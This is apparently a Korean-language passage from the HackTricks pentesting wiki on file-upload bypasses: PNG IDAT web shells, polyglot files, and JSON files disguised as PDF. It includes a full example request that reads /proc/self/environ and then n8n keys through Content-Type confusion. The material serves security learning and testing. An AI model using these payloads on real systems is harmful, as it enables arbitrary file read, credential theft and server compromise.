PNG 파일의 IDAT chunk에 PHP shell을 임베드하면 특정 이미지 처리 작업을 우회하는 데 효과적일 수 있습니다. PHP-GD의 imagecopyresized 및 imagecopyresampled 함수는 각각 이미지 리사이징과 리샘플링에 흔히 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베드된 PHP shell이 이러한 작업으로부터 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 큰 이점입니다.
이 기법의 방법론과 잠재적 응용에 대한 자세한 설명은 다음 글에서 확인할 수 있습니다: “Encoding Web Shells in PNG IDAT chunks”. 이 자료는 프로세스와 그 함의에 대해 포괄적으로 설명합니다.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot 파일은 여러 파일 포맷에 동시에 유효하게 존재할 수 있는 변신 능력을 가진 도구로, 사이버보안에서 독특한 역할을 합니다. 흥미로운 예로 GIFAR가 있는데, 이는 GIF와 RAR 아카이브로 동시에 동작하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며 GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
polyglot 파일의 핵심 유용성은 파일 유형 기반으로 필터링하는 보안 조치를 우회할 수 있다는 점에 있습니다. 많은 애플리케이션에서는 잠재적으로 위험한 포맷(JS, PHP, Phar 등)을 줄이기 위해 JPEG, GIF, DOC 같은 특정 파일 타입만 업로드를 허용하는 것이 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 충족함으로써 이러한 제한을 교묘히 회피할 수 있습니다.
그럼에도 불구하고 polyglot에는 한계가 있습니다. 예를 들어 polyglot이 PHAR file (PHp ARchive)과 JPEG를 동시에 포함하더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 따라 달라질 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면 polyglot의 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
PDF처럼 가장하여 허용되지 않은 경우에도 유효한 JSON 파일을 업로드하여 파일 타입 탐지를 회피하는 방법(기법은 this blog post 참조):
mmagiclibrary:%PDFmagic bytes가 처음 1024바이트 안에 있으면 유효하다고 간주됩니다 (포스트에서 예제 참조)pdfliblibrary: JSON의 어떤 필드 안에 가짜 PDF 포맷을 추가하면 라이브러리가 이를 pdf로 인식합니다 (포스트에서 예제 참조)filebinary: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 단순히 그보다 큰 JSON을 만들어서 내용물을 json으로 파싱하지 못하게 하고, 그 JSON 내부에 실제 PDF의 초기 부분을 넣으면 pdf로 인식됩니다
Content-Type confusion to arbitrary file read
일부 업로드 핸들러는 요청 바디를 파싱한 결과를 신뢰(context.getBodyData().files 등)하고, 이후 file.filepath에서 파일을 복사하면서 먼저 Content-Type: multipart/form-data를 강제하지 않는 경우가 있습니다. 서버가 application/json을 허용하면, 임의의 로컬 경로를 가리키도록 files 객체의 filepath를 조작하여 업로드 흐름을 임의 파일 읽기 원시 기능으로 바꿀 수 있습니다.
Example POST against a form workflow returning the uploaded binary in the HTTP response:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
백엔드는 file.filepath를 복사하므로, 응답은 그 경로의 내용을 반환합니다. 일반적인 체인: /proc/self/environ을 읽어 $HOME을 알아낸 후, $HOME/.n8n/config에서 키를, $HOME/.n8n/database.sqlite에서 사용자 식별자를 확인합니다.
참고 자료
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


